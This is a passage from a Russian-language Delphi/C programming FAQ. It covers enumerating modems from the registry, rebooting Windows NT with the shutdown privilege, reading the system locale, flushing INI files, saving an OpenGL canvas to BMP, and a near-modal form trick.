if OpenKey('\System\CurrentControlSet\Services\Class\Modem', False) then
if HasSubKeys then begin
N:= TStringList.Create;
try
GetKeyNames(N);
for i:=0 to N.Count - 1 do begin
closekey; { + }
openkey('\System\CurrentControlSet\Services\Class\Modem',false); { + }
OpenKey(N[i], False);
s:= ReadString('AttachedTo');
for j:=1 to 4 do
if Pos(Chr(j+Ord('0')), s) > 0 then
Break;
Result.AddObject(ReadString('DriverDesc'),TObject(j));
CloseKey;
end;
finally
N.Free;
end;
end;
end;
finally
R.Free;
end;
end;

end.



Как выполнить перезагрузку (reboot) в Windows NT?

Даже если ты работаешь под Администратором, твоя программка должна
запросить дополнительные привилегии. Вот как это делается (Си):

void Reboot (void)
{
HANDLE hToken;
TOKEN_PRIVILEGES* NewState;
OSVERSIONINFO OSVersionInfo;

OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
GetVersionEx (&OSVersionInfo);
if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
{
OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES,
&hToken);
NewState = (TOKEN_PRIVILEGES*) malloc (sizeof
(TOKEN_PRIVILEGES) + sizeof (LUID_AND_ATTRIBUTES));
NewState->PrivilegeCount = 1;
LookupPrivilegeValue (NULL, SE_SHUTDOWN_NAME,
&NewState->Privileges[0].Luid);
NewState->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges (hToken, FALSE, NewState, NULL, NULL, NULL);
free (NewState);
CloseHandle (hToken);
}

ExitWindowsEx (EWX_REBOOT, 0);
}

Здесь иная редакция этой процедуры (на Паскале, без проверки версии ОС) -

Procedure Shutdown(Name:String; // Имя машины (\\SERVER)
Message:String; // Сообщение
Delay:Integer; // Задержка перед рестартом
Restart,CloseAll:Boolean);
var ph:THandle;
tp,prevst:TTokenPrivileges;
rl:DWORD;
begin
OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,ph);
LookupPrivilegeValue(Nil,'SeShutdownPrivilege',tp.Privileges[0].Luid);
tp.PrivilegeCount:=1;
tp.Privileges[0].Attributes:=2;
AdjustTokenPrivileges(ph,FALSE,tp,SizeOf(prevst),prevst,rl);
InitiateSystemShutdown(PChar(name),PChar(Message),Delay,Restart,CloseAll);
ShowMessage(SysErrorMessage(GetLastError)); // Результат
end;



Как узнать язык Windows по умолчанию?

GetSystemDefaultLCID
GetLocaleInfo



Как указать системе на необходимость сбросить буфера *.INI-файла на диск?

procedure FlushIni(FileName: string);
var
{$IFDEF WIN32}
CFileName: array[0..MAX_PATH] of WideChar;
{$ELSE}
CFileName: array[0..127] of Char;
{$ENDIF}
begin
{$IFDEF WIN32}
if (Win32Platform = VER_PLATFORM_WIN32_NT) then
WritePrivateProfileStringW(nil, nil, nil, StringToWideChar(FileName,
CFileName, MAX_PATH))
else
WritePrivateProfileString(nil, nil, nil, PChar(FileName));
{$ELSE}
WritePrivateProfileString(nil, nil, nil, StrPLCopy(CFileName,
FileName, SizeOf(CFileName) - 1));
{$ENDIF}
end;



Есть необходимость записать содержимое окна OpenGl, в 'bmp' файл. Как можно решить эту задачку?

Вот что попробовал - вроде получилось:

bt := TBitmap.Create;
bt.Width := gr.Width;
bt.Height := gr.Height;
bt.Canvas.CopyRect(ClientRect, gr.Canvas, gr.ClientRect);
bt.SaveToFile('e:\bt.bmp');
bt.Free;

(gr - объект, в канве которого я рисую с помощью OpenGL)



Можно ли одновременно иметь на экране доступную форму Hавигатор и?

Обманом можно все.

procedure ShowAlmostModal(FormModal:TForm);
begin
NavigatorForm.Enabled:=false;
FormModal.ShowModal
end;

И вот это пpивесь на OnShow почти модальной фоpмы

procedure FormShow(Sender:Tobject);
begin
NavigatorForm.Enabled:=true;
end;



<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS